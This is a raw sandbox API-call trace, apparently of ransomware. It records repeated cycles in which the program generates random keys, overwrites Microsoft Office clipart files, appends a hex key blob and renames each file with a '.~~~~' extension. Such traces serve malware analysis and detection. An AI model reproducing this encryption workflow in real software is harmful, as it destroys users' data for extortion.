	[0091.689] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.689] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.689] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.689] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.689] CloseHandle (hObject=0x120) returned 1
	[0091.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.692] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.~~~~")) returned 1
	[0091.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.693] GetLastError () returned 0x0
	[0091.695] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x28d8568) returned 1
	[0091.696] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.696] CryptReleaseContext (hProv=0x28d8568, dwFlags=0x0) returned 1
	[0091.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.697] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21168678628) returned 1
	[0091.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa06ee430, dwHighDateTime=0x1d60e1e)) 
	[0091.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387028
	[0091.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387028 | out: hHeap=0x300000) returned 1
	[0091.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870a20
	[0091.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.697] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.697] GetLastError () returned 0x0
	[0091.698] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.698] GetLastError () returned 0x0
	[0091.706] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff7ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.706] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x816, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x816, lpOverlapped=0x0) returned 1
	[0091.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.707] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.707] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.707] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.707] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.707] CloseHandle (hObject=0x118) returned 1
	[0091.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870a20
	[0091.708] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.~~~~")) returned 1
	[0091.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870a20 | out: hHeap=0x300000) returned 1
	[0091.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.709] GetLastError () returned 0x0
	[0091.710] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.711] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.711] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.711] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21170117356) returned 1
	[0091.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0714590, dwHighDateTime=0x1d60e1e)) 
	[0091.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387060
	[0091.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387060 | out: hHeap=0x300000) returned 1
	[0091.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x386380
	[0091.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.712] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.712] GetLastError () returned 0x0
	[0091.712] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.712] GetLastError () returned 0x0
	[0091.714] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffe271, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.714] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1d8f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x1d8f, lpOverlapped=0x0) returned 1
	[0091.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.715] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.715] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.716] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.716] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.716] CloseHandle (hObject=0x118) returned 1
	[0091.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1860
	[0091.716] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.~~~~")) returned 1
	[0091.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1860 | out: hHeap=0x300000) returned 1
	[0091.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.717] GetLastError () returned 0x0
	[0091.717] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.718] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.718] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.718] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21170840199) returned 1
	[0091.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0714590, dwHighDateTime=0x1d60e1e)) 
	[0091.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387098
	[0091.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387098 | out: hHeap=0x300000) returned 1
	[0091.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1860
	[0091.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3864b0
	[0091.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1860 | out: hHeap=0x300000) returned 1
	[0091.719] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.719] GetLastError () returned 0x0
	[0091.719] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.719] GetLastError () returned 0x0
	[0091.722] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffe745, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.722] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x18bb, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x18bb, lpOverlapped=0x0) returned 1
	[0091.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.723] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.723] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.723] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.723] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.723] CloseHandle (hObject=0x118) returned 1
	[0091.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3864b0
	[0091.723] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.~~~~")) returned 1
	[0091.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3864b0 | out: hHeap=0x300000) returned 1
	[0091.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.724] GetLastError () returned 0x0
	[0091.725] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.725] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.726] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.726] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21171580252) returned 1
	[0091.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa073a6f0, dwHighDateTime=0x1d60e1e)) 
	[0091.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3870d0
	[0091.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3870d0 | out: hHeap=0x300000) returned 1
	[0091.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x386548
	[0091.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.726] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.726] GetLastError () returned 0x0
	[0091.726] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.726] GetLastError () returned 0x0
	[0091.728] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff14c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.728] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xeb4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0xeb4, lpOverlapped=0x0) returned 1
	[0091.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.729] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.729] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.729] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.729] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.729] CloseHandle (hObject=0x118) returned 1
	[0091.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.729] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.~~~~")) returned 1
	[0091.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0091.730] GetLastError () returned 0x0
	[0091.731] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.732] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.732] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.732] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0091.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0091.732] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21172241424) returned 1
	[0091.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa073a6f0, dwHighDateTime=0x1d60e1e)) 
	[0091.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0091.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0091.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0091.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387108
	[0091.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387108 | out: hHeap=0x300000) returned 1
	[0091.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3865e0
	[0091.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.733] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.733] GetLastError () returned 0x0
	[0091.733] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.733] GetLastError () returned 0x0
	[0091.735] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff658, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.735] WriteFile (in: hFile=0x124, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x9a8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x9a8, lpOverlapped=0x0) returned 1
	[0091.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0091.736] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
